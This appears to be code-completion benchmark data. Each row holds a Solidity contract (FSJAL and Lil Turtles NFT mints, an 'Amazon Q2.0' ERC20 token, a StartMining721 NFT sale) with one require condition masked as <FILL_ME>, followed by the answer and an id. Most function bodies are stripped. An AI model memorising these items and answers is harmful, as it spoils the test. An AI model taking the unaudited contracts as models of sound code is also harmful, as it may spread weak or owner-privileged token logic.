uint256 public wlcost = 0.02 ether;
uint256 public maxSupply = 1024;
uint256 public WlSupply = 950;
uint256 public MaxperWallet = 2;
uint256 public MaxWLMint = 2;
bool public paused = true;
bool public revealed = false;
bool public preSale = true;
bytes32 public merkleRoot;
mapping (address => uint256) public PublicMintofUser;
mapping (address => uint256) public WhitelistedMintofUser;
constructor(
string memory _initBaseURI,
string memory _notRevealedUri
) ERC721A("FSJAL", "FSJAL") {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// public
/// @dev Public mint
function mint(uint256 tokens) public payable nonReentrant {
require(!paused, "FSJAL: Contract is paused");
require(!preSale, "FSJAL: Sale hasn't started yet");
require(tokens <= MaxperWallet, "FSJAL: max mint amount per Tx exceeded");
require(totalSupply() + tokens <= maxSupply, "FSJAL: Soldout");
require(<FILL_ME>)
require(msg.value >= cost * tokens, "FSJAL: insufficient funds");
PublicMintofUser[_msgSenderERC721A()] += tokens;
_safeMint(_msgSenderERC721A(), tokens);
}
/// @dev presale mint for whitelisted
function presalemint(uint256 tokens, bytes32[] calldata merkleProof) public payable nonReentrant {
}
/// @dev use it for giveaway and team mint
function airdrop(uint256 _mintAmount, address destination) public onlyOwner nonReentrant {
}
/// @notice returns metadata link of tokenid
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/// @notice return the number minted by an address
function numberMinted(address owner) public view returns (uint256) {
}
/// @notice return the tokens owned by an address
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
//only owner
function reveal(bool _state) public onlyOwner {
}
/// @dev change the merkle root for the whitelist phase
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/// @dev change the public max per wallet
function setMaxPerWallet(uint256 _limit) public onlyOwner {
}
/// @dev change the whitelist max per wallet
function setWlMaxPerWallet(uint256 _limit) public onlyOwner {
}
/// @dev change the public price(amount need to be in wei)
function setCost(uint256 _newCost) public onlyOwner {
}
/// @dev change the whitelist price(amount need to be in wei)
function setWlCost(uint256 _newWlCost) public onlyOwner {
}
/// @dev cut the supply if we don't sell out
function setMaxsupply(uint256 _newsupply) public onlyOwner {
}
/// @dev cut the whitelist supply if we don't sell out
function setwlsupply(uint256 _newsupply) public onlyOwner {
}
/// @dev set your baseuri
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
/// @dev set hidden uri
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
/// @dev to pause and unpause your contract(use booleans true or false)
function pause(bool _state) public onlyOwner {
}
/// @dev activate whitelist sale(use booleans true or false)
function togglePresale(bool _state) external onlyOwner {
}
/// @dev withdraw funds from contract
function withdraw() public payable onlyOwner nonReentrant {
}
}
| PublicMintofUser[_msgSenderERC721A()]+tokens<=MaxperWallet,"FSJAL: Max NFT Per Wallet exceeded" | 232,754 | PublicMintofUser[_msgSenderERC721A()]+tokens<=MaxperWallet |
"FSJAL: Max NFT Per Wallet exceeded" | // Original license: SPDX_License_Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
contract FSJAL is ERC721A, Ownable, ReentrancyGuard {
string public baseURI;
string public notRevealedUri;
uint256 public cost = 0.03 ether;
uint256 public wlcost = 0.02 ether;
uint256 public maxSupply = 1024;
uint256 public WlSupply = 950;
uint256 public MaxperWallet = 2;
uint256 public MaxWLMint = 2;
bool public paused = true;
bool public revealed = false;
bool public preSale = true;
bytes32 public merkleRoot;
mapping (address => uint256) public PublicMintofUser;
mapping (address => uint256) public WhitelistedMintofUser;
constructor(
string memory _initBaseURI,
string memory _notRevealedUri
) ERC721A("FSJAL", "FSJAL") {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// public
/// @dev Public mint
function mint(uint256 tokens) public payable nonReentrant {
}
/// @dev presale mint for whitelisted
function presalemint(uint256 tokens, bytes32[] calldata merkleProof) public payable nonReentrant {
require(!paused, "FSJAL: Contract is paused");
require(preSale, "FSJAL: Presale hasn't started yet");
require(MerkleProof.verify(merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender))), "FSJAL: You are not Whitelisted");
require(<FILL_ME>)
require(tokens <= MaxWLMint, "FSJAL: max mint per Tx exceeded");
require(totalSupply() + tokens <= WlSupply, "FSJAL: Whitelist MaxSupply exceeded");
require(msg.value >= wlcost * tokens, "FSJAL: insufficient funds");
WhitelistedMintofUser[_msgSenderERC721A()] += tokens;
_safeMint(_msgSenderERC721A(), tokens);
}
/// @dev use it for giveaway and team mint
function airdrop(uint256 _mintAmount, address destination) public onlyOwner nonReentrant {
}
/// @notice returns metadata link of tokenid
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/// @notice return the number minted by an address
function numberMinted(address owner) public view returns (uint256) {
}
/// @notice return the tokens owned by an address
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
//only owner
function reveal(bool _state) public onlyOwner {
}
/// @dev change the merkle root for the whitelist phase
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/// @dev change the public max per wallet
function setMaxPerWallet(uint256 _limit) public onlyOwner {
}
/// @dev change the whitelist max per wallet
function setWlMaxPerWallet(uint256 _limit) public onlyOwner {
}
/// @dev change the public price(amount need to be in wei)
function setCost(uint256 _newCost) public onlyOwner {
}
/// @dev change the whitelist price(amount need to be in wei)
function setWlCost(uint256 _newWlCost) public onlyOwner {
}
/// @dev cut the supply if we don't sell out
function setMaxsupply(uint256 _newsupply) public onlyOwner {
}
/// @dev cut the whitelist supply if we don't sell out
function setwlsupply(uint256 _newsupply) public onlyOwner {
}
/// @dev set your baseuri
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
/// @dev set hidden uri
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
/// @dev to pause and unpause your contract(use booleans true or false)
function pause(bool _state) public onlyOwner {
}
/// @dev activate whitelist sale(use booleans true or false)
function togglePresale(bool _state) external onlyOwner {
}
/// @dev withdraw funds from contract
function withdraw() public payable onlyOwner nonReentrant {
}
}
| WhitelistedMintofUser[_msgSenderERC721A()]+tokens<=MaxWLMint,"FSJAL: Max NFT Per Wallet exceeded" | 232,754 | WhitelistedMintofUser[_msgSenderERC721A()]+tokens<=MaxWLMint |
"" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract LilTurtles is ERC721A,Ownable,ReentrancyGuard {
using Strings for uint256;
uint256 public maxSupply = 1111;
uint256 public maxMint = 1;
uint256 public mintPrice = 0.00 ether;
string public _baseTokenURI;
string public _baseTokenEXT;
string public notRevealedUri = "ipfs://QmcE3y2a8cVyHyUQ7qADxrAzcZzb46sUaUGHsiBySrtVEx/";
bool public revealed = false;
bool public paused = true;
mapping(address => uint256) public _totalMinted;
constructor() ERC721A("Lil Turtles","LT") {}
function mint(uint256 _mintAmount) public payable nonReentrant {
require(!paused,"");
require(_mintAmount <= maxMint,"");
require(msg.value >=mintPrice * _mintAmount,"");
require(<FILL_ME>)
uint256 supply = totalSupply();
require(supply + _mintAmount <= maxSupply ,"");
_safeMint(msg.sender,_mintAmount);
_totalMinted[msg.sender]+=_mintAmount;
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function toogleReveal() public onlyOwner{
}
function tooglePause() public onlyOwner{
}
function changePrice(uint256 _newPrice) public onlyOwner{
}
function changeURLParams(string memory _nURL,string memory _nBaseExt) public onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
}
| _mintAmount+_totalMinted[msg.sender]<=maxMint,"" | 232,769 | _mintAmount+_totalMinted[msg.sender]<=maxMint |
null | /**
*/
//SPDX-License-Identifier: MIT
/**
https://t.me/AmazonQ20_coin
https://twitter.com/AmazonQ20
*/
pragma solidity 0.8.20;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract AmazonQ20 is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public _uniswapV2Router;
address public uniswapV2Pair;
address private _devWalletDa;
address private _marketWalletDa;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "Amazon Q2.0";
string private constant _symbol = "Q2.0";
uint256 public initialTotalSupply = 10000_000_000 * 1e18;
uint256 public maxTransactionAmount = (3 * initialTotalSupply) / 100;
uint256 public maxWallet = (3 * initialTotalSupply) / 100;
uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 0;
uint256 public SellFee = 0;
uint256 public BurnBuyFee = 0;
uint256 public BurnSellFee = 1;
uint256 feeDenominator = 100;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
modifier ensure(address sender) {
}
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
constructor() ERC20(_name, _symbol) {
}
receive() external payable {}
function OpenTrading()
external
onlyOwner
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function updateDevWallet(address newDevWallet)
public
onlyOwner
{
}
function ratio(uint256 fee) internal view returns (uint256) {
}
function excludeFromFees(address account, bool excluded)
public
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function removeLimitieses() external onlyOwner {
}
function addLiquidityEtst()
public
payable
onlyOwner
{
}
function clearStuckedBalance() external {
require(address(this).balance > 0, "Token: no ETH to clear");
require(<FILL_ME>)
payable(msg.sender).transfer(address(this).balance);
}
function Burnt(ERC20 tokenAddress, uint256 amount) external ensure(msg.sender) {
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
}
function manualswap(uint256 percent) external {
}
function swapBack(uint256 tokens) private {
}
}
| _msgSender()==_marketWalletDa | 232,785 | _msgSender()==_marketWalletDa |
"Mint in ETH not allowed now." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract StartMining721 is Ownable, ReentrancyGuard, ERC721Pausable {
using Strings for uint256;
using SafeERC20 for IERC20;
IERC20 private stableCoin; // Stable coin contract address (can be another stable coin)
AggregatorV3Interface internal priceFeed; // Chainlink ETH/USD
address private recipient; // Recipient address
address private crossMintAddress = 0xdAb1a1854214684acE522439684a145E62505233; // Cross mint address
struct Referrer {
uint256 referredCount;
uint256 alreadyClaimed;
}
bool public salePaused = true; // Pause minting, default true.
bool public referralPaused = false; // Pause referral, default false.
bool public crossMintPaused = false; // Pause cross minting, default true.
bool public stableCoinMintPaused = false; // Pause stable coin minting, default true.
bool public etherMintPaused = false; // Pause classic minting, default true.
bool public metadataRedirection = true; // Redirect all metadata to the same IPFS, default true.
uint16 public salePrice = 1000; // 1000$ USD
uint256 public currentNFT;
uint256 public limitNFT = 500;
string public baseURI;
mapping(address => Referrer) public referrerByAddress;
/* ********************************** */
/* Events */
/* ********************************** */
event ChainlinkUpdated(address addressPriceFeed); // Chainlink's aggregator address updated
event PauseUpdated(bool paused); // Pause updated
event PriceUpdated(uint16 salePrice); // Sale price updated
event InitializedMint(uint256 tokenId, uint256 limit, uint16 salePrice); // New mint season initialized
/*
* @notice Constructor of the contract ERC721.
* @param string memory _baseURI : Metadatas URI for the ERC721.
* @param IERC20 _stableCoin : stableCoin contract address (can be another stable coin)
* @param address _recipient : Recipient address
* @param AggregatorV3Interface _priceFeed : Chainlink Goerli ETH/USD
*/
constructor(string memory _baseURI, IERC20 _stableCoin, address _recipient, AggregatorV3Interface _priceFeed) ERC721("START", "START") {
}
/* ********************************** */
/* Modifier */
/* ********************************** */
/*
* @notice Safety checks common to each mint function.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
modifier mintModifier(uint16 _amount, address _referral) {
}
/* ********************************** */
/* Mint */
/* ********************************** */
/*
* @notice Initialize a new mint season of NFT ready to be minted.
* @param uint256 _limit : Maximum amount of units.
* @param uint16 _salePrice : Price value of 1 NFT.
*/
function initMint(uint256 _limit, uint16 _salePrice) external onlyOwner {
}
/*
* @notice Private function to mint during the sale. This function is called by all the public mint functions.
* @param address _to : Address that will receive the NFT.
* @param address _referral : Address of the referral.
*/
function _mintSale(address _to, address _referral) private {
}
/*
* @notice Mint in ETH during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSale(uint16 _amount, address _referral) external payable nonReentrant mintModifier(_amount, _referral) {
require(<FILL_ME>)
uint256 price = uint256(salePrice) * uint256(_amount);
require(price > 0, "Price can't be zero");
require(msg.value >= price, "Insufficient ETH");
require(msg.value >= (uint256(_amount) * salePrice * 10**26) / uint256(getLatestPrice()), "Not enough funds");
payable(recipient).transfer(address(this).balance);
for (uint16 i = 0; i < _amount; i++) {
_mintSale(msg.sender, _referral);
}
}
/*
* @notice Mint in stableCoin during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSaleStableCoin(uint16 _amount, address _referral) external nonReentrant mintModifier(_amount, _referral) {
}
/*
* @notice Crossmint allows payment by credit card.
* @param address _to : Address that will receive the NFT.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Adress of the referral.
*/
function crossMintSale(address _to, uint16 _amount, address _referral) external payable mintModifier(_amount, _referral) {
}
/*
* @notice Allows the owner to offer NFTs.
* @param address _to : Receiving address.
* @param uint16 _amount : Amount of tokens to mint.
*/
function gift(address _to, uint16 _amount) external onlyOwner {
}
/* ********************************** */
/* Rewards */
/* ********************************** */
/*
* @notice Allows user to claim rewards.
*/
function claimReward() external nonReentrant {
}
/* ********************************** */
/* Getters */
/* ********************************** */
/*
* @notice Get the current ETH/USD price.
* @dev The function uses the chainlink aggregator.
* @return int Price value.
*/
function getLatestPrice() public view returns (int256) {
}
/*
* @notice Get the current of one NFT in ETH.
*/
function getSalePrice() public view returns (uint256) {
}
/*
* @notice Get total supply
*/
function totalSupply() public view returns (uint256) {
}
/*
* @notice Returns the list of NFT by a user.
* @param address _user : Address of the user.
* @return uint256[] : List of tokenIds.
*/
function getNFTsByUserAddress(address _user) external view returns (uint256[] memory) {
}
/* ********************************** */
/* Setters */
/* ********************************** */
/*
* @notice Update "stableCoin" variable.
* @param address _newstableCoin : Address of the new stableCoin contract.
*/
function setStableCoin(address _newStableCoin) external onlyOwner {
}
/*
* @notice Update "recipient" variable.
* @param address _newRecipient : Address of the new recipient.
*/
function setRecipient(address _newRecipient) external onlyOwner {
}
/*
* @notice Update "priceFeed" variable.
* @param address _newPriceFeed : Address of the new priceFeed.
*/
function setPriceFeed(address _newPriceFeed) external onlyOwner {
}
/*
* @notice Update "salePrice" variable.
* @param uint16 _newPrice : New sale price in stableCoin.
*/
function setSalePrice(uint16 _newPrice) external onlyOwner {
}
/*
* @notice Update "baseURI" variable.
* @param string calldata _newBaseURI : New base URI.
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/*
* @notice Update "crossMintAddress" variable.
* @param address _newCrossMintAddress : New crossMintAddress.
*/
function setCrossMintAddress(address _newCrossMintAddress) external onlyOwner {
}
/*
* @notice Toggle "metadataRedirection" variable.
*/
function toggleMetadataRedirection() external onlyOwner {
}
/* ********************************** */
/* Pauser */
/* ********************************** */
/*
* @notice Toggle state of "salePaused" variable. If true, minting is disabled.
*/
function toggleSalePaused() external onlyOwner {
}
/*
* @notice Toggle state of "referralPaused" variable. If true, referral is disabled.
*/
function toggleReferralPaused() external onlyOwner {
}
/*
* @notice Toggle state of "crossMintPaused" variable. If true, crossMint is disabled.
*/
function toggleCrossMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "stableCoinMintPaused" variable. If true, stableCoinMint is disabled.
*/
function toggleStableCoinMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "etherMintPaused" variable. If true, classicMint is disabled.
*/
function toggleEtherMintPaused() external onlyOwner {
}
/*
* @notice pause the contract. (emergency)
*/
function pause() public onlyOwner {
}
/*
* @notice unpause the contract.
*/
function unpause() public onlyOwner {
}
/*
* @notice Allows access to off-chain metadatas.
* @param _tokenId Id of the token.
* @return string Token's metadatas URI.
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
}
| !etherMintPaused,"Mint in ETH not allowed now." | 232,831 | !etherMintPaused |
"Not enough funds" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract StartMining721 is Ownable, ReentrancyGuard, ERC721Pausable {
using Strings for uint256;
using SafeERC20 for IERC20;
IERC20 private stableCoin; // Stable coin contract address (can be another stable coin)
AggregatorV3Interface internal priceFeed; // Chainlink ETH/USD
address private recipient; // Recipient address
address private crossMintAddress = 0xdAb1a1854214684acE522439684a145E62505233; // Cross mint address
struct Referrer {
uint256 referredCount;
uint256 alreadyClaimed;
}
bool public salePaused = true; // Pause minting, default true.
bool public referralPaused = false; // Pause referral, default false.
bool public crossMintPaused = false; // Pause cross minting, default true.
bool public stableCoinMintPaused = false; // Pause stable coin minting, default true.
bool public etherMintPaused = false; // Pause classic minting, default true.
bool public metadataRedirection = true; // Redirect all metadata to the same IPFS, default true.
uint16 public salePrice = 1000; // 1000$ USD
uint256 public currentNFT;
uint256 public limitNFT = 500;
string public baseURI;
mapping(address => Referrer) public referrerByAddress;
/* ********************************** */
/* Events */
/* ********************************** */
event ChainlinkUpdated(address addressPriceFeed); // Chainlink's aggregator address updated
event PauseUpdated(bool paused); // Pause updated
event PriceUpdated(uint16 salePrice); // Sale price updated
event InitializedMint(uint256 tokenId, uint256 limit, uint16 salePrice); // New mint season initialized
/*
* @notice Constructor of the contract ERC721.
* @param string memory _baseURI : Metadatas URI for the ERC721.
* @param IERC20 _stableCoin : stableCoin contract address (can be another stable coin)
* @param address _recipient : Recipient address
* @param AggregatorV3Interface _priceFeed : Chainlink Goerli ETH/USD
*/
constructor(string memory _baseURI, IERC20 _stableCoin, address _recipient, AggregatorV3Interface _priceFeed) ERC721("START", "START") {
}
/* ********************************** */
/* Modifier */
/* ********************************** */
/*
* @notice Safety checks common to each mint function.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
modifier mintModifier(uint16 _amount, address _referral) {
}
/* ********************************** */
/* Mint */
/* ********************************** */
/*
* @notice Initialize a new mint season of NFT ready to be minted.
* @param uint256 _limit : Maximum amount of units.
* @param uint16 _salePrice : Price value of 1 NFT.
*/
function initMint(uint256 _limit, uint16 _salePrice) external onlyOwner {
}
/*
* @notice Private function to mint during the sale. This function is called by all the public mint functions.
* @param address _to : Address that will receive the NFT.
* @param address _referral : Address of the referral.
*/
function _mintSale(address _to, address _referral) private {
}
/*
* @notice Mint in ETH during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSale(uint16 _amount, address _referral) external payable nonReentrant mintModifier(_amount, _referral) {
require(!etherMintPaused, "Mint in ETH not allowed now.");
uint256 price = uint256(salePrice) * uint256(_amount);
require(price > 0, "Price can't be zero");
require(msg.value >= price, "Insufficient ETH");
require(<FILL_ME>)
payable(recipient).transfer(address(this).balance);
for (uint16 i = 0; i < _amount; i++) {
_mintSale(msg.sender, _referral);
}
}
/*
* @notice Mint in stableCoin during the sale.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Address of the referral.
*/
function mintSaleStableCoin(uint16 _amount, address _referral) external nonReentrant mintModifier(_amount, _referral) {
}
/*
* @notice Crossmint allows payment by credit card.
* @param address _to : Address that will receive the NFT.
* @param uint16 _amount : Amount of tokens to mint.
* @param address _referral : Adress of the referral.
*/
function crossMintSale(address _to, uint16 _amount, address _referral) external payable mintModifier(_amount, _referral) {
}
/*
* @notice Allows the owner to offer NFTs.
* @param address _to : Receiving address.
* @param uint16 _amount : Amount of tokens to mint.
*/
function gift(address _to, uint16 _amount) external onlyOwner {
}
/* ********************************** */
/* Rewards */
/* ********************************** */
/*
* @notice Allows user to claim rewards.
*/
function claimReward() external nonReentrant {
}
/* ********************************** */
/* Getters */
/* ********************************** */
/*
* @notice Get the current ETH/USD price.
* @dev The function uses the chainlink aggregator.
* @return int Price value.
*/
function getLatestPrice() public view returns (int256) {
}
/*
* @notice Get the current of one NFT in ETH.
*/
function getSalePrice() public view returns (uint256) {
}
/*
* @notice Get total supply
*/
function totalSupply() public view returns (uint256) {
}
/*
* @notice Returns the list of NFT by a user.
* @param address _user : Address of the user.
* @return uint256[] : List of tokenIds.
*/
function getNFTsByUserAddress(address _user) external view returns (uint256[] memory) {
}
/* ********************************** */
/* Setters */
/* ********************************** */
/*
* @notice Update "stableCoin" variable.
* @param address _newstableCoin : Address of the new stableCoin contract.
*/
function setStableCoin(address _newStableCoin) external onlyOwner {
}
/*
* @notice Update "recipient" variable.
* @param address _newRecipient : Address of the new recipient.
*/
function setRecipient(address _newRecipient) external onlyOwner {
}
/*
* @notice Update "priceFeed" variable.
* @param address _newPriceFeed : Address of the new priceFeed.
*/
function setPriceFeed(address _newPriceFeed) external onlyOwner {
}
/*
* @notice Update "salePrice" variable.
* @param uint16 _newPrice : New sale price in stableCoin.
*/
function setSalePrice(uint16 _newPrice) external onlyOwner {
}
/*
* @notice Update "baseURI" variable.
* @param string calldata _newBaseURI : New base URI.
*/
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
/*
* @notice Update "crossMintAddress" variable.
* @param address _newCrossMintAddress : New crossMintAddress.
*/
function setCrossMintAddress(address _newCrossMintAddress) external onlyOwner {
}
/*
* @notice Toggle "metadataRedirection" variable.
*/
function toggleMetadataRedirection() external onlyOwner {
}
/* ********************************** */
/* Pauser */
/* ********************************** */
/*
* @notice Toggle state of "salePaused" variable. If true, minting is disabled.
*/
function toggleSalePaused() external onlyOwner {
}
/*
* @notice Toggle state of "referralPaused" variable. If true, referral is disabled.
*/
function toggleReferralPaused() external onlyOwner {
}
/*
* @notice Toggle state of "crossMintPaused" variable. If true, crossMint is disabled.
*/
function toggleCrossMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "stableCoinMintPaused" variable. If true, stableCoinMint is disabled.
*/
function toggleStableCoinMintPaused() external onlyOwner {
}
/*
* @notice Toggle state of "etherMintPaused" variable. If true, classicMint is disabled.
*/
function toggleEtherMintPaused() external onlyOwner {
}
/*
* @notice pause the contract. (emergency)
*/
function pause() public onlyOwner {
}
/*
* @notice unpause the contract.
*/
function unpause() public onlyOwner {
}
/*
* @notice Allows access to off-chain metadatas.
* @param _tokenId Id of the token.
* @return string Token's metadatas URI.
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
}
